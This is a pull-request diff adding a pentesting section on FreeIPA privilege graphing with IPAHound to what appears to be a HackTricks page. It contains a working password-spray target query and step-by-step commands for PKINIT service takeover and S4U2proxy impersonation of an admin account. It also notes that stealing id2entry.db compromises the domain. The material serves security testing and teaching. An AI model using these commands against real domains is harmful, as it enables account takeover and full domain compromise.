Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
98 changes: 97 additions & 1 deletion src/linux-hardening/freeipa-pentesting.md
Original file line number Diff line number Diff line change
Expand Up @@ -169,6 +169,100 @@ ipa permission-find
ipa permission-show <permission> --all
```

### IPAHound: Graphing FreeIPA from a low-privileged user

In **FreeIPA**, a regular user usually **cannot read** the real **ACI / permission / delegation** internals, so a pentest-oriented graph has to **infer effective privileges** from attributes that remain readable. [IPAHound](https://github.com/IPAHound/IPAHound) does this for FreeIPA in a similar way to BloodHound for AD, and is especially useful after compromising a **standard user**, a **host keytab**, or a **service account**.

#### Collector usage

```bash
# Kerberos auth
IPAHound -k -s dc1.domain.local -a freeipa_apoc.json

# Username/password auth
IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json

# Save raw LDAP for offline re-processing
IPAHound -k -s dc1.domain.local --output-raw raw.json
IPAHound --input-raw raw.json -a freeipa_apoc.json
```

For large datasets, importing the **APOC** JSON into **Neo4j** is much faster than GUI upload:

```cypher
CREATE CONSTRAINT FOR (n:IPADomain) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAUser) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAGroup) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAComputer) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAService) REQUIRE n.neo4jImportId IS UNIQUE;
CALL apoc.import.json("/path/to/freeipa_apoc.json");
```

#### Useful FreeIPA inference points

- **`memberOf`**: often the best low-privilege source to infer hidden **roles**, **privileges**, and **permissions**.
- **`memberManager`**: indicates who can change group membership, which is an **`AddMember`** primitive.
- **`managedBy`**: indicates ownership of a host/group, which becomes an **`Owns`** edge.
- **`ipaAllowedToPerform;read_keys`**: translates into **`ReadKerberosKey`** and can expose keytab retrieval paths.
- **`ipaAllowedToPerform;write_keys`**: translates into **`ForceChangePassword`** for computer/service Kerberos keys.
- **`ipaAllowedToPerform;write_delegation`**: indicates who can configure **RBCD**, which becomes **`AddRBCD`**.
- **`krbTicketFlags`**: look for `IPAKrbOkAsDelegate` and `IPAKrbOkToAuthAsDelegate` to spot delegation-capable hosts/services.
- **`ipaUserAuthType`**: if missing, password auth is usually allowed; IPAHound derives this into **`PasswordAuthAllow=True`**.

#### Hunting sprayable users and lateral movement

Use **`PasswordAuthAllow`** to build a focused spray list instead of spraying every principal:

```cypher
MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True
RETURN n.krbCanonicalName
```

Then pivot with the FreeIPA-specific lateral movement edges:

- **`CanSSH`**: an HBAC rule allows access to `sshd`.
- **`CanSUDO`**: HBAC allows `sudo` **and** a matching sudo rule exists.
- Check the **`CanSUDO`** edge attributes for **`ipaSudoOpt=!authenticate`**, **`ipaSudoRunAs`**, **`cmdCategory`**, **`memberAllowCmd`**, and **`memberDenyCmd`** to decide whether the path gives practical host escalation.
- A path such as **`CanSSH`** + **`CanSUDO`** to a domain controller can be enough to steal **`id2entry.db`**, which is effectively full domain compromise.

#### Service takeover, PKINIT, and delegation chaining

If you control a **computer account**, remember that in FreeIPA it typically **owns its service principals**. That gives two main options:

- reset the service keys with **`ipa-getkeytab`**
- avoid resetting the service password and instead abuse **PKINIT** by writing a certificate into the owned service LDAP object

Minimal PKINIT takeover flow:

```bash
openssl req -new -newkey rsa:2048 -days 365 -nodes \
-keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
ldapmodify -h dc1.domain.local <<'EOF'
dn: krbprincipalname=test/srv.domain.local@DOMAIN.LOCAL,cn=services,cn=accounts,dc=domain,dc=local
add: userCertificate;binary
userCertificate;binary:: <base64 certificate>
EOF
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local
```

Notes:

- The CSR **CN** needs to match the exact hostname.
- Adding the cert with the **`ipa`** utility is not enough for this path; write **`userCertificate;binary`** via **LDAP**.
- Verify the new identity with **`ldapwhoami`** before attempting delegation abuse.

Once the service has an **`AllowedToDelegate`** path, use **S4U2proxy** to impersonate a privileged account to LDAP:

```bash
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
```

If the graph instead shows **`AddMember`** followed by **`AddRBCD`**, add yourself to the delegated group first and then configure RBCD with `ipa service-add-delegation` before requesting the delegated LDAP ticket.

### Attack Scenario Example

In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) you can find a simple example of how to abuse some permissions to compromise the domain.
Expand All @@ -194,8 +288,10 @@ You can check a detailed explaination in [https://posts.specterops.io/attacking-
- [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
- [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
- [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
- [https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/](https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/)
- [https://github.com/IPAHound/IPAHound](https://github.com/IPAHound/IPAHound)
- [https://github.com/IPAHound/IPAHound-GUI](https://github.com/IPAHound/IPAHound-GUI)
- [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)

{{#include ../banners/hacktricks-training.md}}